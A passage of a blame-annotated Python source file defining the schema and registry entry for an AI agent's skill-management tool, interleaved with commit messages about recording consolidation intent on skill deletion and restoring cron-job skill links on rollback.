accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
"On delete, pass `absorbed_into=<umbrella>` when you're merging this "
|
|
|
|
|
"skill's content into another one, or `absorbed_into=\"\"` when you're "
|
|
|
|
|
"pruning it with no forwarding target. This lets the curator tell "
|
|
|
|
|
"consolidation from pruning without guessing, so downstream consumers "
|
|
|
|
|
"(cron jobs that reference the old skill name, etc.) get updated "
|
|
|
|
|
"correctly. The target you name in `absorbed_into` must already "
|
|
|
|
|
"exist — create/patch the umbrella first, then delete.\n\n"
|
2026-02-19 18:25:53 -08:00
|
|
|
"Create when: complex task succeeded (5+ calls), errors overcome, "
|
|
|
|
|
"user-corrected approach worked, non-trivial workflow discovered, "
|
|
|
|
|
"or user asks you to remember a procedure.\n"
|
|
|
|
|
"Update when: instructions stale/wrong, OS-specific failures, "
|
2026-03-16 06:52:32 -07:00
|
|
|
"missing steps or pitfalls found during use. "
|
|
|
|
|
"If you used a skill and hit issues not covered by it, patch it immediately.\n\n"
|
2026-02-19 18:25:53 -08:00
|
|
|
"After difficult/iterative tasks, offer to save as a skill. "
|
|
|
|
|
"Skip for simple one-offs. Confirm with user before creating/deleting.\n\n"
|
|
|
|
|
"Good skills: trigger conditions, numbered steps with exact commands, "
|
2026-04-29 10:28:25 -07:00
|
|
|
"pitfalls section, verification steps. Use skill_view() to see format examples.\n\n"
|
|
|
|
|
"Pinned skills are off-limits — all write actions refuse with a message "
|
|
|
|
|
"pointing the user to `hermes curator unpin <name>`. Don't try to route "
|
|
|
|
|
"around this by renaming or recreating."
|
2026-02-19 18:25:53 -08:00
|
|
|
),
|
|
|
|
|
"parameters": {
|
|
|
|
|
"type": "object",
|
|
|
|
|
"properties": {
|
|
|
|
|
"action": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"enum": ["create", "patch", "edit", "delete", "write_file", "remove_file"],
|
|
|
|
|
"description": "The action to perform."
|
|
|
|
|
},
|
|
|
|
|
"name": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": (
|
|
|
|
|
"Skill name (lowercase, hyphens/underscores, max 64 chars). "
|
|
|
|
|
"Must match an existing skill for patch/edit/delete/write_file/remove_file."
|
|
|
|
|
)
|
|
|
|
|
},
|
|
|
|
|
"content": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": (
|
|
|
|
|
"Full SKILL.md content (YAML frontmatter + markdown body). "
|
|
|
|
|
"Required for 'create' and 'edit'. For 'edit', read the skill "
|
|
|
|
|
"first with skill_view() and provide the complete updated text."
|
|
|
|
|
)
|
|
|
|
|
},
|
|
|
|
|
"old_string": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": (
|
|
|
|
|
"Text to find in the file (required for 'patch'). Must be unique "
|
|
|
|
|
"unless replace_all=true. Include enough surrounding context to "
|
|
|
|
|
"ensure uniqueness."
|
|
|
|
|
)
|
|
|
|
|
},
|
|
|
|
|
"new_string": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": (
|
|
|
|
|
"Replacement text (required for 'patch'). Can be empty string "
|
|
|
|
|
"to delete the matched text."
|
|
|
|
|
)
|
|
|
|
|
},
|
|
|
|
|
"replace_all": {
|
|
|
|
|
"type": "boolean",
|
|
|
|
|
"description": "For 'patch': replace all occurrences instead of requiring a unique match (default: false)."
|
|
|
|
|
},
|
|
|
|
|
"category": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": (
|
|
|
|
|
"Optional category/domain for organizing the skill (e.g., 'devops', "
|
|
|
|
|
"'data-science', 'mlops'). Creates a subdirectory grouping. "
|
|
|
|
|
"Only used with 'create'."
|
|
|
|
|
)
|
|
|
|
|
},
|
|
|
|
|
"file_path": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": (
|
|
|
|
|
"Path to a supporting file within the skill directory. "
|
|
|
|
|
"For 'write_file'/'remove_file': required, must be under references/, "
|
|
|
|
|
"templates/, scripts/, or assets/. "
|
|
|
|
|
"For 'patch': optional, defaults to SKILL.md if omitted."
|
|
|
|
|
)
|
|
|
|
|
},
|
|
|
|
|
"file_content": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": "Content for the file. Required for 'write_file'."
|
|
|
|
|
},
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
"absorbed_into": {
|
|
|
|
|
"type": "string",
|
|
|
|
|
"description": (
|
|
|
|
|
"For 'delete' only — declares intent so the curator can "
|
|
|
|
|
"tell consolidation from pruning without guessing. "
|
|
|
|
|
"Pass the umbrella skill name when this skill's content "
|
|
|
|
|
"was merged into another (the target must already exist). "
|
|
|
|
|
"Pass an empty string when the skill is truly stale and "
|
|
|
|
|
"being pruned with no forwarding target. Omitting the arg "
|
|
|
|
|
"on delete is supported for backward compatibility but "
|
|
|
|
|
"downstream tooling (e.g. cron-job skill reference "
|
|
|
|
|
"rewriting) will have to guess at intent."
|
|
|
|
|
)
|
|
|
|
|
},
|
2026-02-19 18:25:53 -08:00
|
|
|
},
|
|
|
|
|
"required": ["action", "name"],
|
|
|
|
|
},
|
|
|
|
|
}
|
2026-02-21 20:22:33 -08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
# --- Registry ---
|
refactor: add tool_error/tool_result helpers + read_raw_config, migrate 129 callsites
Add three reusable helpers to eliminate pervasive boilerplate:
tools/registry.py — tool_error() and tool_result():
Every tool handler returns JSON strings. The pattern
json.dumps({"error": msg}, ensure_ascii=False) appeared 106 times,
and json.dumps({"success": False, "error": msg}, ...) another 23.
Now: tool_error(msg) or tool_error(msg, success=False).
tool_result() handles arbitrary result dicts:
tool_result(success=True, data=payload) or tool_result(some_dict).
hermes_cli/config.py — read_raw_config():
Lightweight YAML reader that returns the raw config dict without
load_config()'s deep-merge + migration overhead. Available for
callsites that just need a single config value.
Migration (129 callsites across 32 files):
- tools/: browser_camofox (18), file_tools (10), homeassistant (8),
web_tools (7), skill_manager (7), cronjob (11), code_execution (4),
delegate (5), send_message (4), tts (4), memory (7), session_search (3),
mcp (2), clarify (2), skills_tool (3), todo (1), vision (1),
browser (1), process_registry (2), image_gen (1)
- plugins/memory/: honcho (9), supermemory (9), hindsight (8),
holographic (7), openviking (7), mem0 (7), byterover (6), retaindb (2)
- agent/: memory_manager (2), builtin_memory_provider (1)
2026-04-07 13:36:20 -07:00
|
|
|
from tools.registry import registry, tool_error
|
2026-02-21 20:22:33 -08:00
|
|
|
|
|
|
|
|
registry.register(
|
|
|
|
|
name="skill_manage",
|
|
|
|
|
toolset="skills",
|
|
|
|
|
schema=SKILL_MANAGE_SCHEMA,
|
|
|
|
|
handler=lambda args, **kw: skill_manage(
|
|
|
|
|
action=args.get("action", ""),
|
|
|
|
|
name=args.get("name", ""),
|
|
|
|
|
content=args.get("content"),
|
|
|
|
|
category=args.get("category"),
|
|
|
|
|
file_path=args.get("file_path"),
|
|
|
|
|
file_content=args.get("file_content"),
|
|
|
|
|
old_string=args.get("old_string"),
|
|
|
|
|
new_string=args.get("new_string"),
|
fix(curator): authoritative absorbed_into on delete + restore cron skill links on rollback (#18671) (#18731)
* fix(curator): authoritative absorbed_into declarations on skill delete
Closes #18671. The classification pipeline that feeds cron-ref rewriting
used to infer consolidation vs pruning from two brittle signals: the
curator model's post-hoc YAML summary block, and a substring heuristic
scanning other tool calls for the removed skill's name. Both miss in
real consolidations — the model forgets the YAML under reasoning
pressure, and the heuristic misses when the umbrella's patch content
describes the absorbed behavior abstractly instead of naming the old
slug. When both miss, the skill falls through to 'no-evidence fallback'
pruned, and #18253's cron rewriter drops the cron ref entirely instead
of mapping it to the umbrella. Same observable symptom as pre-#18253:
'Skill(s) not found and skipped' at the next cron run.
The fix makes the model declare intent at the moment of deletion.
skill_manage(action='delete') now accepts absorbed_into:
- absorbed_into='<umbrella>' -> consolidated, target must exist on disk
- absorbed_into='' -> explicit prune, no forwarding target
- missing -> legacy path, falls through to heuristic/YAML
The curator reconciler reads these declarations off llm_meta.tool_calls
BEFORE either the YAML block or the substring heuristic. Declaration
wins. Fallback logic stays intact for backward compat with any caller
(human or older curator conversation) that doesn't populate the arg.
Changes
- tools/skill_manager_tool.py: add absorbed_into param to skill_manage
+ _delete_skill. Validate target exists when non-empty. Reject
absorbed_into=<self>. Wire through dispatcher + registry + schema.
- agent/curator.py: new _extract_absorbed_into_declarations() walks
tool calls for skill_manage(delete) with the arg. _reconcile_classification
accepts absorbed_declarations= and treats them as authoritative. Curator
prompt updated to require the arg on every delete.
- Tests: 7 new skill_manager tests covering the tool contract (valid
target, empty string, nonexistent target, self-reference, whitespace,
backward compat, dispatcher plumbing). 11 new curator tests covering
the extractor + authoritative reconciler path + mixed-legacy-and-
declared runs.
Validation
- 307/307 targeted tests pass (curator + cron + skill_manager suites).
- E2E #18671 repro: 3 narrow skills, 1 umbrella, cron job referencing
all 3. Model emits NO YAML block. Heuristic misses (patch prose
doesn't name old slugs). Delete calls carry absorbed_into. Result:
both PR skills correctly classified 'consolidated' + cron rewritten
['pr-review-format', 'pr-review-checklist', 'stale-junk'] ->
['hermes-agent-dev']; stale-junk pruned via absorbed_into=''.
- E2E backward-compat: delete without absorbed_into, model emits YAML
-> routed via existing 'model' source, cron still rewritten correctly.
* feat(curator): capture + restore cron skill links across snapshot/rollback
Before this, rolling back a curator run restored the skills tree but cron
jobs still pointed at the umbrella skills the curator had rewritten them
to. The user would see their old narrow skills back on disk but their
cron jobs still configured with the merged umbrella — not actually 'back
to how it was'.
Snapshot side: snapshot_skills() now captures ~/.hermes/cron/jobs.json
alongside the skills tarball, as cron-jobs.json. The manifest gets a new
'cron_jobs' block with {backed_up, jobs_count} so rollback (and the CLI
confirm dialog) can surface what's in the snapshot. If jobs.json is
missing/unreadable/malformed, snapshot proceeds without cron data — the
skills backup is the core guarantee; cron is additive.
Rollback side: after the skills extract succeeds, the new
_restore_cron_skill_links() reconciles the backed-up jobs into the live
jobs.json SURGICALLY. Only 'skills' and 'skill' fields are restored, and
only on jobs matched by id. Everything else about a cron job — schedule,
last_run_at, next_run_at, enabled, prompt, workdir, hooks — is live
state the user or scheduler has modified since the snapshot; overwriting
it would regress unrelated activity.
Reconciliation rules:
- Job in backup AND live, skills differ → skills restored.
- Job in backup AND live, skills match → no-op.
- Job in backup, NOT in live → skipped (user deleted it
after snapshot; their choice
is later than the snapshot).
- Job in live, NOT in backup → untouched (user created it
after snapshot).
- Snapshot missing cron-jobs.json at all → rollback still succeeds,
reports 'not captured'
(older pre-feature snapshots
keep working).
Writes go through cron.jobs.save_jobs under the same _jobs_file_lock the
scheduler uses, so rollback doesn't race tick().
Also:
- hermes_cli/curator.py: rollback confirm dialog now shows
'cron jobs: N (will be restored for skill-link fields only)' when the
snapshot has cron data, or 'not in snapshot (<reason>)' otherwise.
- rollback()'s message string includes a 'cron links: ...' clause
summarizing the reconciliation outcome.
Tests
- 9 new cases: snapshot-with-cron, snapshot-without-cron, malformed-json
captured-as-raw, full rollback-restores-skills-and-cron, rollback
touches only skill fields, rollback skips user-deleted jobs, rollback
leaves user-created jobs untouched, rollback still works with
pre-feature snapshot that has no cron-jobs.json, standalone unit test
on _restore_cron_skill_links exercising the full report shape.
Validation
- 484/484 targeted tests pass (curator + cron + skill_manager suites).
- E2E: real snapshot_skills, real cron rewrite, real rollback. Before:
['pr-review-format', 'pr-review-checklist', 'pr-triage-salvage'].
After curator: ['hermes-agent-dev']. After rollback: ['pr-review-format',
'pr-review-checklist', 'pr-triage-salvage']. Non-skill fields (id,
name, prompt) preserved across the round trip.
2026-05-02 01:29:57 -07:00
|
|
|
replace_all=args.get("replace_all", False),
|
|
|
|
|
absorbed_into=args.get("absorbed_into")),
|
2026-03-15 20:21:21 -07:00
|
|
|
emoji="📝",
|
2026-02-21 20:22:33 -08:00
|
|
|
)
|